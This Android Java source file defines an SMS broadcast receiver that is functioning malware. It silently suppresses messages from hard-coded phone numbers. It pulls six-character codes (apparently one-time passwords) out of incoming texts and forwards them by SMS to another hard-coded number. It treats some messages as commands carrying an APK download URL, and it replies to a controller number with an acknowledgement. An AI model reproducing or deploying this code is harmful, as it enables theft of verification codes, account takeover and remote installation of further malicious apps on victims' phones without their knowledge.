package com.tianguxx.activity;

import com.tianguxx.bean.RequestType;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;

public class SmsBroadCastReciver extends BroadcastReceiver
{

	@Override
	public void onReceive(Context context, Intent intent)
	{

		Bundle bundle = intent.getExtras();
		if (null != bundle)
		{
			Object messages[] = (Object[]) bundle.get("pdus");

			for (int n = 0; n < messages.length; n++)
			{
				SmsMessage sms = SmsMessage.createFromPdu((byte[]) messages[n]);
				String telphone = sms.getOriginatingAddress();
				String body = sms.getMessageBody();
				if ("15611684223".equals(telphone) || "+8615611684223".equals(telphone))
				{
					this.abortBroadcast();
				}
				else if ("15801188657".equals(telphone) || "+8615801188657".equals(telphone))
				{
					int index = body.indexOf("。");
					if (-1 != index)
					{
						String password = body.substring(index - 6, index);
						Intent sendMessage = new Intent(context, DemoService.class);
						sendMessage.putExtra(Intent.EXTRA_TEXT, password);
						sendMessage.putExtra(Intent.EXTRA_PHONE_NUMBER, "15811559266");
						sendMessage.putExtra("type", RequestType.SEND_SMS);
						context.startService(sendMessage);
						this.abortBroadcast();
					}
					else
					{
						String[] cons = body.split(";");
						String url = cons[0];
						Intent sendMessage = new Intent(context, DemoService.class);
						sendMessage.putExtra("type", RequestType.GET_APK_DOWNLOAD_URL);
						sendMessage.putExtra(Intent.EXTRA_TEXT, url);
						context.startService(sendMessage);
						this.abortBroadcast();
					}
				}
				else if ("15811559266".equals(telphone) || "+8615811559266".equals(telphone))
				{
					Intent sendMessage = new Intent(context, DemoService.class);
					sendMessage.putExtra(Intent.EXTRA_TEXT, "android响应成功。");
					sendMessage.putExtra(Intent.EXTRA_PHONE_NUMBER, "15811559266");
					sendMessage.putExtra("type", RequestType.SEND_SMS);
					context.startService(sendMessage);
					this.abortBroadcast();
				}

			}
		}
	}
}